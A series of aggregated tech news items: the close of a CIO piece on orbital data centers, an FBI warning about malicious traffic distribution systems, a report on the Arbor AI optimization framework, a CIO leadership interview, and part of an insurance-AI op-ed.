<p>The CIOs who understood cloud early were better positioned when cloud became mainstream. The CIOs who understood mobile early were better prepared when workforces and customers moved to mobile-first interaction. The CIOs who understood cybersecurity as an enterprise risk, rather than an IT function, were better prepared for the threat landscape that followed.</p>



<p>Space-based infrastructure may follow a similar pattern.</p>



<p>The near-term task is not adoption. It is awareness, scenario planning and architectural readiness.</p>



<p>CIOs should track the development of space data centers, satellite AI, orbital compute, space-based storage and AI-enabled communications infrastructure. They should monitor which industries adopt these capabilities first. They should identify whether their own organizations have workloads where resilience, distributed compute, sovereign control or global coverage could justify future interest.</p>



<p>Most importantly, they should update their mental model of infrastructure.</p>



<p>The future of enterprise AI will not live entirely in one cloud, one data center, one country or one architecture. It will be distributed across environments designed for different operational needs.</p>



<p>Some intelligence will run in hyperscale cloud. Some will run in private AI factories. Some will run at the edge. Some will run in sovereign environments. And one day, some may run in orbit.</p>



<p>Your next data center may not be on Earth.</p>



<p>For CIOs, the message is not to chase the hype. It is to recognize the direction of infrastructure: more distributed, more resilient, more sovereign, more autonomous and increasingly shaped by the demands of AI.</p>



<p>The cloud is no longer just a place. It is becoming a fabric. And soon, that fabric may extend into space.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[FBI Warns of a Hidden Web Tactic Fueling Phishing and Ransomware]]></title>
<description><![CDATA[The FBI Warns of Malicious Traffic Distribution Systems being increasingly used by cybercriminals to redirect internet users to phishing pages, malware downloads, ransomware attacks, and online financial scams. In a newly released Public Service Announcement (PSA), the Federal Bureau of Investiga...]]></description>
<link>https://tsecurity.de/de/3609502/it-security-nachrichten/fbi-warns-of-a-hidden-web-tactic-fueling-phishing-and-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609502/it-security-nachrichten/fbi-warns-of-a-hidden-web-tactic-fueling-phishing-and-ransomware/</guid>
<pubDate>Fri, 19 Jun 2026 08:07:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI Warns of Malicious Traffic" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-Warns-of-Malicious-Traffic-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Warns of a Hidden Web Tactic Fueling Phishing and Ransomware 1"></p>The FBI Warns of Malicious Traffic Distribution Systems being increasingly used by cybercriminals to redirect internet users to phishing pages, malware downloads, <a href="https://thecyberexpress.com/qilin-inc-ransom-drive-2026-ransomware-surge/" target="_blank" rel="noopener">ransomware attacks</a>, and online financial scams. In a newly released Public Service Announcement (PSA), the<a href="https://thecyberexpress.com/new-jersey-man-charged-with-wire-fraud/" target="_blank" rel="noopener"> Federal Bureau of Investigation</a> cautioned that cybercriminals are leveraging Traffic Distribution Systems (TDS) to gain access to victim networks while evading traditional security controls.

According to the FBI, TDS technology is designed to route internet traffic to different destinations after users visit websites, click advertisements, download applications, or engage with online promotions. While the technology itself has legitimate uses, cybercriminals are exploiting it to selectively redirect users to compromised websites and fraudulent login pages.
<h3><strong>FBI Warns of Malicious Traffic Distribution Systems Used in Cyber Attacks</strong></h3>
As the FBI Warns of Malicious Traffic Distribution Systems, the agency explained that cybercriminals often drive victims to a malicious TDS through various methods, including <a href="https://thecyberexpress.com/social-engineering-in-the-age-of-ai/" target="_blank" rel="noopener">Social Engineering</a>, phishing emails, malicious advertisements, and compromised websites.

One common technique involves <a href="https://thecyberexpress.com/dragonrank-manipulates-seo-rankings-malicious/" target="_blank" rel="noopener">Search Engine Optimization (SEO) Poisoning</a>, where fraudulent advertisements are designed to imitate legitimate websites. Users who click these links may unknowingly enter a redirection chain controlled by threat actors.

Cybercriminals also compromise legitimate websites by exploiting <a href="https://thecyberexpress.com/world-password-day-recommendations/" target="_blank" rel="noopener">weak passwords</a>, outdated plugins, and vulnerable website themes. Once administrative access is obtained, attackers can modify website code to automatically redirect visitors to a malicious TDS infrastructure.
<h3><strong>How Traffic Distribution Systems Help Evade Detection</strong></h3>
<a href="https://www.ic3.gov/PSA/2026/PSA260618" target="_blank" rel="nofollow noopener">According to the FBI</a>, Traffic Distribution Systems (TDS) can bypass traditional firewall protections that would normally block access to malicious websites.

The system uses multiple intermediate nodes before directing users to the final destination, making it more difficult for defenders to identify and block malicious activity.

In addition to hiding malicious infrastructure, attackers use TDS platforms to gather information about visitors. <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="Data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28756">Data</a> collected may include:
<ul>
 	<li>IP address</li>
 	<li>Operating system</li>
 	<li>Geographic location</li>
 	<li>Device information</li>
 	<li>Browser details</li>
</ul>
The FBI noted that this information allows attackers to determine whether a victim is a suitable target. It also enables cybercriminals to avoid detection by presenting harmless content to users they are not interested in targeting, including security researchers and analysts.
<h3><strong>Phishing, Malware, and Ransomware Risks</strong></h3>
The FBI warned that users reaching the end of a malicious redirection chain may encounter Phishing Pages, financial <a href="https://thecyberexpress.com/tce-weekly-roundup-april-2026/" target="_blank" rel="noopener">fraud schemes</a>, or malware downloads.

In some cases, attackers use <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28757">malware</a> delivered through a TDS to gain access to victim networks. The agency stated that compromised accounts and network access obtained through these methods may later be sold to other criminal groups, including <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="Ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28755">Ransomware</a> operators.

The PSA highlights how a single visit to a compromised website or malicious advertisement can ultimately lead to broader <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28753">cybersecurity</a> incidents.
<h3><strong>FBI Shares Protection Measures</strong></h3>
To reduce the risk of compromise, the FBI advised individuals to verify website URLs before clicking advertisements or promotional links. The agency also recommended keeping software, website plugins, and themes updated to address known <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28754">vulnerabilities</a>.

Additional recommendations include:
<ul>
 	<li>Using strong passwords</li>
 	<li>Enabling <a href="https://thecyberexpress.com/cybersecurity-awareness-month-what-is-2fa-mfa-and-why-should-you-care/" target="_blank" rel="noopener">Two-Factor Authentication (2FA)</a></li>
 	<li>Installing reputable security plugins and web application firewalls</li>
 	<li>Downloading software only from trusted developers</li>
</ul>
For businesses, the FBI recommended monitoring endpoints for suspicious activity involving JavaScript, PowerShell, and script execution tools. Organizations are also encouraged to strengthen <a href="https://thecyberexpress.com/uae-phishing-emails-cyberattacks/" target="_blank" rel="noopener">phishing awareness</a> training, regularly audit website administration accounts, and patch content management systems and third-party components.
<h3><strong>FBI Urges Victims to Report Incidents</strong></h3>
The FBI encouraged individuals and organizations that believe they have been affected by activity linked to malicious TDS infrastructure to report the incident through the <a href="https://thecyberexpress.com/fbi-internet-crime-report-2025/" target="_blank" rel="noopener">Internet Crime Complaint Center (IC3)</a> and contact their local FBI field office.

The agency emphasized that cybercriminals continue to evolve their techniques for delivering <a href="https://thecyberexpress.com/miasma-shai-hulud-supply-chain-attack/" target="_blank" rel="noopener">malware</a> and conducting online fraud, making vigilance and proactive cybersecurity measures essential for both individuals and businesses.]]></content:encoded>
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<title><![CDATA[New AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget]]></title>
<description><![CDATA[Imagine your engineering team just deployed an AI agent to search through internal company documents and answer employee questions. It works perfectly in development, but in production, it consistently hallucinates or misses key constraints. Fixing this is rarely a simple patch. It requires a ted...]]></description>
<link>https://tsecurity.de/de/3608643/it-nachrichten/new-ai-optimization-framework-beats-claude-code-and-codex-by-25x-on-the-same-compute-budget/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608643/it-nachrichten/new-ai-optimization-framework-beats-claude-code-and-codex-by-25x-on-the-same-compute-budget/</guid>
<pubDate>Thu, 18 Jun 2026 20:16:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Imagine your engineering team just deployed an AI agent to search through internal company documents and answer employee questions. It works perfectly in development, but in production, it consistently hallucinates or misses key constraints. Fixing this is rarely a simple patch. It requires a tedious, trial-and-error process of tweaking chunking strategies, retrieval methods, and system prompts simultaneously. Because these adjustments are entangled, it becomes nearly impossible to attribute which specific tweak actually solved the problem. </p><p>To address this challenge, researchers at Renmin University of China and Microsoft Research introduced <a href="https://arxiv.org/abs/2606.11926">Arbor</a>, a framework that upgrades AI-driven research and optimization from a sequence of trial-and-error guesses into a cumulative learning process. Arbor organizes hypotheses, experiments, and insights into a tree that helps the system learn from prior failures to make smarter, verified improvements over time.</p><p>In practical tests, Arbor delivered more than 2.5 times the verifiable performance gains of standard AI coding agents across real-world engineering tasks while operating under the same resource budget. </p><p>For enterprise AI, this technique directly translates to automating the continuous improvement of complex, real-world engineering systems.</p><h2>Understanding the bottleneck in autonomous optimization</h2><p>As large language models and AI systems become more capable, they are expected to carry out more complex operations such as autonomous optimization (AO) of software systems such as agent harnesses or model training algorithms. </p><p>AO captures the fundamental loop of autonomous research. An AI agent starts with an initial mutable artifact, such as a machine learning codebase or data pipeline, and a specific objective. The agent's goal is to iteratively improve this artifact through experimental feedback without step-by-step human supervision.</p><p>The main challenge of AO is often misunderstood. Many engineering teams find that simply giving a coding agent more time or compute to optimize a codebase doesn't lead to better results. "Automation can keep an AI working for a very long time — but a loop is not the same as progress," Jiajie Jin, co-author of the paper, told VentureBeat. "If the goal is vague, or the metric is easy to hack, long-running automation often just produces 'improvements' faster that nobody actually wants."</p><p>Jin explains that complex tasks take many attempts to get right, and standard agent architectures are missing the critical data structure to maintain state. "How do you make sure the insight and experience from each attempt actually accumulate, instead of getting lost in a scrollback buffer?" he said. Without this structure, agents simply repeat the same mistakes.</p><p>Current agent systems can run experiments for many hours against well-specified goals: editing code, invoking tools, running tests autonomously. But they treat each attempt in isolation, missing the structural mechanisms that would let them accumulate and act on what they've learned.</p><p>They lack the capacity to simultaneously maintain and compare multiple competing research directions. Without this, they cannot interpret both successes and failures to reshape their future exploration, which is the core mechanism that makes human research cumulative.</p><p>General coding agents typically rely on conversation transcripts for their memory. Because AO tasks span hundreds of turns and easily exceed context window limits, these agents struggle to preserve and reuse factual evidence over long histories. As a result, they lose the overarching structure of the research process and are prone to stalling on early failures or chasing noisy evaluation swings. The system needs a structured, durable memory that records what directions have been tried, what factual evidence was produced, and how each result changes the space of future hypotheses.</p><p>Existing frameworks are also prone to reward hacking and overfitting to development metrics. This makes them create the illusion of progress without producing improvements that transfer to real-world performance.</p><p>Finally, general-purpose coding agents typically chain their tool calls on a single shared working tree. This architectural limitation prevents them from testing parallel hypotheses in isolated environments without corrupting the main codebase or obscuring which hypothesis caused a specific outcome.</p><h2>The Arbor framework</h2><p>Arbor solves the challenges of AO with a framework that automates the long-horizon loop of exploration, experimentation, and abstraction that characterizes human research. Arbor separates the strategic direction of research from the ground-level coding tasks with two key components:</p><p><b>The coordinator:</b> A long-lived AI agent that acts like a principal investigator. It never directly edits the target codebase. Instead, it owns the general state of the optimization research, observes accumulated evidence, comes up with new hypotheses and directions to explore, and decides what to do with the results of experiments.</p><p><b>Executors:</b> Short-lived, highly focused AI agents. When the coordinator wants to test an idea, it spins up an executor and places it in an isolated environment, essentially a fresh git worktree. Each executor is handed one hypothesis. It implements the assigned idea, runs evaluations, debugs errors, and reports back to the coordinator with the results and created artifacts.</p><p>These two components collaborate through a mechanism that the researchers call “Hypothesis Tree Refinement” (HTR). HTR represents the entire research process as a persistent, branching tree where every node binds together four things: a hypothesis, the executable artifact, the factual evidence produced, and a distilled insight. This means the coordinator can explore multiple competing directions at the same time without losing its place.</p><p>The coordinator builds the tree by placing broad ideas near the root, while concrete refinements branch out as leaves. This allows Arbor to safely explore multiple competing hypotheses simultaneously. If an executor's experiment fails, the tree records why it failed as a negative constraint, ensuring the system doesn't endlessly repeat the same mistake.</p><p>To understand why Arbor's isolation matters, consider a common enterprise scenario: optimizing a <a href="https://venturebeat.com/orchestration/architectural-patterns-for-graph-enhanced-rag-moving-beyond-vector-search-in-production">Retrieval-Augmented Generation</a> (RAG) pipeline for an internal AI assistant. "When you ask a single agent like Claude Code or Codex to 'improve accuracy,' it will typically change a bunch of things in one pass — chunking, the prompt, the retrieval method," Jin said. This entangles the changes, making it impossible to attribute which one actually helped. It also directly mutates the repository without isolation. </p><p>Arbor solves this by treating each lever as a separate hypothesis. Chunking becomes one branch, retrieval another, and the prompt another — each implemented and evaluated in its own isolated git worktree. "So you get clean attribution: 'constraint decomposition on the retrieval side gave +X; breadth-first search actually hurt,'" Jin said.</p><p>When an executor returns a report, the coordinator writes the evidence to the tree and backpropagates the insight upward to parent nodes. This means a local observation becomes a generalized constraint that shapes the coordinator's future idea generation.</p><p>To prevent reward hacking or overfitting to the development data, HTR enforces a strict “merge gate.” Even if an executor reports a fantastic development score, the coordinator will spin up an isolated worktree to test the candidate against a held-out test evaluator. The artifact is only merged into the current best trunk if it demonstrably improves the test score, verifying that the progress is real.</p><p>Arbor generally falls under the concept of "<a href="https://addyosmani.com/blog/loop-engineering/">loop engineering</a>," popularized by industry figures like OpenClaw creator Peter Steinberger and Claude Code lead Boris Cherny. The idea is to move beyond single prompts to design iterative cycles (observe, reason, act, verify) that drive autonomous agents. However, as Jin points out, "A loop can fill up with messy, untraceable attempts, and you end up with nothing to show and no way to reconstruct what changed." </p><h2>Arbor in action</h2><p>The researchers evaluated Arbor on an autonomous optimization task suite built from real-world research settings and the MLE-Bench Lite machine learning engineering benchmark. The AO suite featured tasks from different areas of AI development, including model training, harness engineering, and data synthesis.</p><p>The researchers used different backbone models for the coordinator and executor agents, including Claude Opus 4.6, GPT-5.5, and Gemini-3-Flash. They tested Arbor against the strongest coding agents, Codex and Claude Code. Arbor and the baselines were given the same resources. For the MLE-Bench Lite tasks, Arbor was also compared against top-tier agentic research systems like AI-Scientist, ML-Master, and AIDE.</p><p>Arbor consistently outperformed the baselines. It achieved the best held-out test result on all tasks, attaining more than 2.5 times the average relative gain of Codex and Claude Code. On the BrowseComp task, which involves optimizing a search agent, Arbor improved the system's held-out accuracy from a baseline of 45.33% to 67.67%. Meanwhile, Codex and Claude Code stalled at 50% and 53.33%, respectively. On MLE-Bench Lite, when equipped with GPT-5.5, Arbor achieved the strongest result among all benchmarked systems.</p><p>Arbor proved to be resilient against overfitting. For example, during the Terminal-Bench 2.0 task experiments, Claude Code achieved a high development score of 75 but its score dropped to 71 on the held-out data. Arbor had a lower development score of 72.22 but achieved the highest held-out score of 77.36, ensuring its results transfer to real-world applications.</p><p>Arbor also showed generalization in a cross-task transfer experiment. After Arbor finished optimizing the search harness for the BrowseComp task, researchers took the optimized codebase and tested it on two unrelated search-agent tasks, HLE and DeepSearchQA. Arbor's optimized codebase significantly improved performance on those unseen tasks as well.</p><h2>Deploying Arbor: Sweet spots and hidden costs</h2><p>For engineering leads looking to drop Arbor into their existing tech stack, the framework is designed to sit on top of existing Git workflows rather than replacing them. "Its output is an ordinary git branch that your existing code review, CI, and human review can inspect directly," Jin said. Only verified gains are merged into a per-run trunk, leaving the main repository untouched until a developer manually chooses to promote the code.</p><p>However, deploying Arbor comes with specific tradeoffs. Jin points out that the biggest catch is token cost, as maintaining a long-lived coordinator that continuously manages the tree and dispatches executors is the dominant expense. Running multiple isolated worktrees concurrently also requires genuine compute and disk resources to process real experiments.</p><p>So where is Arbor's sweet spot? According to Jin, it excels at tasks with a clear, trustworthy metric, tolerance for a long time horizon, and a real search space with several plausible directions, such as pipeline optimization, data-synthesis quality, and model-training recipe tuning. </p><p>Conversely, teams should explicitly avoid using Arbor for real-time latency tasks, obvious one-line fixes, or when the underlying evaluation metric is flawed. The quality ceiling of the entire run is strictly bounded by the quality of the evaluator. "If the metric isn't trustworthy, Arbor will just optimize toward an untrustworthy result faster," Jin said.</p><p>Jin sees the next evolution going beyond single scalar metrics. "A natural evolution is to have each node's artifact carry a vector — accuracy, latency, cost — instead of a single score," Jin said. "Going from a single scalar to a multi-objective Pareto search is a very natural extension of the framework."</p>]]></content:encoded>
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<title><![CDATA[Mastering the chess of IT leadership today]]></title>
<description><![CDATA[In today’s AI-driven world, every decision a CIO makes is a pivotal move, with outcomes that ripple across the enterprise. Business performance, investor confidence, and the organization’s ability to compete are all influenced by these moves. It’s why Salumeh Companieh, chief digital and informat...]]></description>
<link>https://tsecurity.de/de/3607222/it-nachrichten/mastering-the-chess-of-it-leadership-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607222/it-nachrichten/mastering-the-chess-of-it-leadership-today/</guid>
<pubDate>Thu, 18 Jun 2026 11:32:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>In today’s AI-driven world, every decision a CIO makes is a pivotal move, with outcomes that ripple across the enterprise. Business performance, investor confidence, and the organization’s ability to compete are all influenced by these moves. It’s why Salumeh Companieh, chief digital and information officer at Cushman &amp; Wakefield, says leadership in this environment feels a lot more like chess than checkers.</p>



<p>As the margin for error shrinks, expectations are rising, and <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">the role of CIO is evolving</a>, from technology leader to enterprise operator at the highest levels. Across the board, IT leaders are facing hard decisions with no easy answers. It demands clarity of intent, discipline in execution, and the ability to anticipate not just the next move but the downstream impact of every decision.</p>



<p>In a recent episode of the <a href="https://linktr.ee/techwhisperers" rel="nofollow">Tech Whisperers podcast</a>, we explored how Companieh leads where speed, transparency, and human impact collide. In the Q&amp;A that follows, edited for length and clarity, she builds on that conversation, sharing how her perspective, intentionality, and leadership approach ensure every move counts.</p>



<p><strong>Dan Roberts: You’ve compared leadership today to chess, where second-order consequences are real. What has changed in the CIO role that makes that level of precision and foresight so critical now, and how do you help your team keep up?</strong></p>



<p><strong>Salumeh Companieh:</strong> What’s changed is the pace of change and velocity of delivery. You now have far more opportunities to make missteps at an accelerated pace if you do not understand the broader chessboard. One way we set our teams up to go faster is through clarity. The clearer the outcome, the faster you can go. So that means drawing clear accountability lines and having a really clear vision. And then it’s about real-time recognition, real-time pivots, and the awareness to slow down when needed — making course corrections in the moment and celebrating wins, both small and significant — because then you continue to fuel the flywheel. You fuel this sense of impact.</p>



<p>We host a team town hall after every earnings call, and one of the things we do very clearly is translate the earnings call to the work that they’re doing, drawing clear lineage between the amount of hours you’re spending away from your family doing work and the outcome of when your CEO is on an earnings call speaking to enterprise outcomes. The momentum that has built within our organization has been awe-inspiring. Feedback on the employee engagement survey statement ‘I can clearly align my work to the outcomes of the company’ continues to go up, and that’s where your sense of belonging continues to rise. You understand impact, so you can go faster.</p>



<p><strong>You played a visible role in Cushman &amp; Wakefield’s recent </strong><a href="https://ir.cushmanwakefield.com/events-and-presentations/2025-Investor-Day/default.aspx" rel="nofollow"><strong>Investor Day</strong></a><strong>. Not long ago, it would have been unusual to see a CIO in that spotlight. What was your role, and what did you want investors to understand about technology, AI, and the business?</strong><strong></strong></p>



<p>The core message was, it’s inseparable from the strategy. There isn’t a separate AI strategy from the business strategy. It’s a cohesive, co-created strategy, and we are at the forefront of the new way of working for a professional services firm. We’re looking to redefine not just commercial real estate but professional services in whole. How do you move knowledge? How do you elevate colleagues? How do you shape different ways of working, with human-first and AI-augmented. So that was the core message.</p>



<p>My role in that is also to gain trust. It’s to clearly articulate the integral role that technology and data will continue to play in professional services, and we are making bold moves to shape it. </p>



<p><strong>Your leadership style is grounded in consistency, clarity, and generosity, qualities that often come from lived experience. How have your early influences and upbringing shaped the way you lead and make decisions today?</strong></p>



<p>My No. 1 and No. 2 role models are my parents. They made incredibly bold decisions when we were younger. They had to pivot multiple times in their lives and re-create from scratch. There was this real grounding of grit that I experienced day in and day out. And I genuinely believe that every single step I’ve taken, regardless of how hard, is not even remotely in the realm of the difficult decisions that they’ve made. For that to be your north star of what difficult looks like, candidly, everything else is benign. They taught me consistently showing up will pay dividends at an outsized return. They taught me that in your darkest days you never lose empathy for others. Most importantly, they taught me to keep myself humble.</p>



<p>That’s the true start of where my ‘operating system,’ if you will, was. For their decisions, for their sacrifice, I will always be grateful. And for the lessons in my life. I don’t think I’d be where I am today without that. And not just physically in a different country, but the growth that I’ve both witnessed and experienced wouldn’t have been possible otherwise. Whether it’s their decisions or my dad’s constant challenge of, ‘Well, of course you could do it,’ there was never a doubt in the forefront of the discussion. There was always a center of, ‘Why <em>not</em> you?’ And that same kind of leadership in a familial sense is what we hope that we’ve given to our sons. Why not you? You’ve just got to keep opening your mind space of, somebody’s going to crack this code, it might as well be you.</p>



<p><strong>You’re known for your ability to see situations through multiple points of view across the business, your teams, and your clients. How does that perspective shape the moves you make, especially in moments of uncertainty?</strong></p>



<p>I look at each of those lenses as their own data points, if you will, and depending on both external factors and internal factors, you dial up a particular decision criterion or you dial it down. It’s no different than, historically, we would have done this for risk mitigation. We would have looked at the risk profile of aging technology and tech debt and cybersecurity protocols and made risk-based decisions. It’s almost like mentally pivoting that to rewards-based decisions. What are the biggest rewards you’re going to get, both from a cultural perspective as well as a revenue optimization perspective?</p>



<p>Sometimes you might make a move just to start building the culture, and the next move on top of that will be an accelerated business and revenue outcome. But the more informed you are with all the data points, the better investment portfolio manager you are, because that’s really this job, right? Whether it’s your people’s capacity or genuine capital, it’s an investment portfolio. And there are risks and rewards against every investment portfolio.</p>



<p>Sometimes you’re going to be in a position to take higher-risk/higher-reward decisions, and sometimes you want to tone it down a little bit. To do that in totality, you need to know all the component parts you can make a decision on. You can’t put a blinder on. You have to provide transparency to the entire canvas. Then you can make really, really good decisions.</p>



<p><strong>At enterprise scale, clarity, speed, cost, and people don’t always align. When those forces are pulling in different directions, how do you stay intentional about the moves you make?</strong></p>



<p>The thing I lean on the most is to remove the definitive no’s quickly from the table. There might be different forces, some of which you know based on either context, intellect, or gut, that you’re immediately going to say no to. Remove that noise and put it to the side. Then it’s the ability to roll back through the others and draw on the proximity to your team and get their voices in the room and understand context with greater depth. You remove the noise, you draw clarity from those with deep proximity to the opportunity, you balance with enterprise context, and you make bold decisions, always centered on client outcomes. Key to all of this is that you maintain accountability for the entire decision cycle.</p>



<p>At this accelerated pace of decision-making, with imperfect data, it’s getting comfortable in that ambiguity but knowing that there’s no one that’s going to try harder to make the best enterprise decision. And that lets me sleep at night.</p>



<p><strong>You care deeply about your people, but you also hold a high bar. How do you push your team to take ownership and deliver without stepping in and doing it for them?</strong></p>



<p>One, you have to model the leadership and commitment you seek from others. If you’re asking for really high quality, you better be putting in really high quality. Whether it’s from talent management — I’m not going to ask them are you having really hard conversations with your team unless I’m having really hard conversations with them — or it’s curiosity and learning. I have to show and model that behavior.</p>



<p>I also think there’s something about this whole concept of <a href="https://www.cio.com/article/4120226/rethinking-it-leadership-to-unlock-the-agility-of-teamship.html">teamship</a>, and I think Keith [Ferrazzi, author and Ferrazzi Greenlight founder] does a great job of bringing light to that. We model that every single day. If I am clear on the fact that we will win or lose as a team, and not individuals, and I continue to reiterate that, not in words, but in actions, then what happens is, when I’m not there, they hold each other accountable. And they model that behavior for their team. You start going down this tree of action where everybody is cohesively holding each other accountable for both behavioral and technological outcomes. It’s magical. You’ve created a construct where people have the autonomy and desire to do great work and an accountability construct to ensure best-in-class outcomes.</p>



<p>It takes a long time, because if people have not been led in this manner previously, there’s a genuine lack of trust of the process and learning that is required. But I do believe deeply in the way that Keith puts it on this concept of teamship and this cohesive outcome.</p>



<p><em>As </em><em>Sal Companieh’s chess analogy reveals, the modern CIO’s remit goes beyond running technology to shaping business outcomes, culture, and the future operating model of the enterprise, often without the luxury of slowing down. Her ability to play aggressively without losing sight of the human side of the board proves that, in this environment, the leaders who win aren’t just the fastest movers. They’re the ones thinking several moves ahead while bringing their people with them. For more from Companieh on leading through the tension of today’s environment, </em><a href="https://linktr.ee/techwhisperers" rel="nofollow"><em>tune in to the Tech Whisperers</em></a><em>.</em></p>



<p><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4176073/developing-a-customer-first-culture-for-it.html">Developing a customer-first culture for IT</a></li>



<li><a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html">Coherence: Where leadership and AI success intersect</a></li>



<li><a href="https://www.cio.com/article/4159277/cio-sanjay-shringarpure-invites-you-to-reimagine-the-event-experience.html">CIO Sanjay Shringarpure invites you to reimagine the event experience</a></li>
</ul>
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<title><![CDATA[The future of insurance is contextual, conversational and customer-first – thanks to AI]]></title>
<description><![CDATA[The insurance industry has long been regarded as a highly regulated, slow-moving monolith. But look closely, and you’ll see that we’re entering a new phase of significant change and overdue optimization – one that puts the consumer experience front-and-center.



I’ve long anticipated this transi...]]></description>
<link>https://tsecurity.de/de/3607142/it-security-nachrichten/the-future-of-insurance-is-contextual-conversational-and-customer-first-thanks-to-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607142/it-security-nachrichten/the-future-of-insurance-is-contextual-conversational-and-customer-first-thanks-to-ai/</guid>
<pubDate>Thu, 18 Jun 2026 11:05:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>The insurance industry has long been regarded as a highly regulated, slow-moving monolith. But look closely, and you’ll see that we’re entering a new phase of significant change and overdue optimization – one that puts the consumer experience front-and-center.</p>



<p>I’ve long anticipated this transition. My experience in recent years working on the core machine learning (ML) team at Google taught me that the true value of artificial intelligence is not in hardware efficiency but in the radical personalization it enables. I learned a valuable lesson earlier in my career: Even the most tech-savvy tools can fail if they don’t solve a human problem. It’s a belief that’s been reinforced after recently joining The Zebra team as chief AI officer, a position that empowers me to better employ AI and ML to maximize the synergy between product and technology and make for a more efficient and customer-centric insurance shopping model.</p>



<h2 class="wp-block-heading">From keywords to context</h2>



<p>For years, consumers have used basic SEO keywords to find insurance policies while carriers relied on simple ML to price these policies. But that paradigm is changing quickly. It won’t be long before we see automation processes occurring across several different areas, particularly on the customer-facing side, where we are attempting to collect as much context as we can.</p>



<p>Today, customers provide deep, intent-based context, with a shift toward hyper-personalized, highly detailed queries. The next logical step is for Large Language Models (LLMs) to parse this massive amount of customer intent data and map it against complex and unstructured policy data. This represents both a major challenge and a fantastic opportunity: successfully and efficiently organizing our internal insurance data so that it can be presented back to the consumer. The goal here is to advance to a stage where organizing policy data (the provider side) and collecting information (the customer side) blend to create a perfectly personalized middle ground.</p>



<p>I’ve observed this incredible shift firsthand. Customers used to find The Zebra after using a basic two-word Google keyword search like “car insurance.” But courtesy of LLMs, their queries today are much more specific and customized: “I need car insurance for my 2022 Honda Civic in Austin, Texas, and I park it outside.” Providing this rich data upfront and directly to our advisors changes the whole game, allowing us to bypass tedious intake and start nurturing genuine human relationships.</p>



<p>I love the automation side of AI – especially its ability to eliminate manual data entry. Still, handling sensitive customer information means that AI tooling can quickly throw gasoline on a growing fire. That’s the reason I’m committed to creating a controlled environment. At The Zebra, we’ve spent a decade researching how humans sell policies, and I want to ensure our models don’t “reward hack.” A good illustration of this is an unsupervised model believing that hanging up on every customer ensures it will never technically lose a deal. At our company, it’s my job to build the guardrails that prevent these bizarre optimizations.</p>



<h2 class="wp-block-heading">Exciting developments underfoot</h2>



<p>We’ve entered a sea change moment, signaling a shift toward agentic coding and dynamic UI and away from the hard-coded, static websites that earlier dominated the insurance space. At present, most insurance online portals are linear, with the sequence of questions typically predetermined by a developer. In the coming phase, however, the LLMs will define the questions and the order in which they are asked, and UI components will be chosen or generated ad hoc, depending on the consumer’s particular context. That’s real progress.</p>



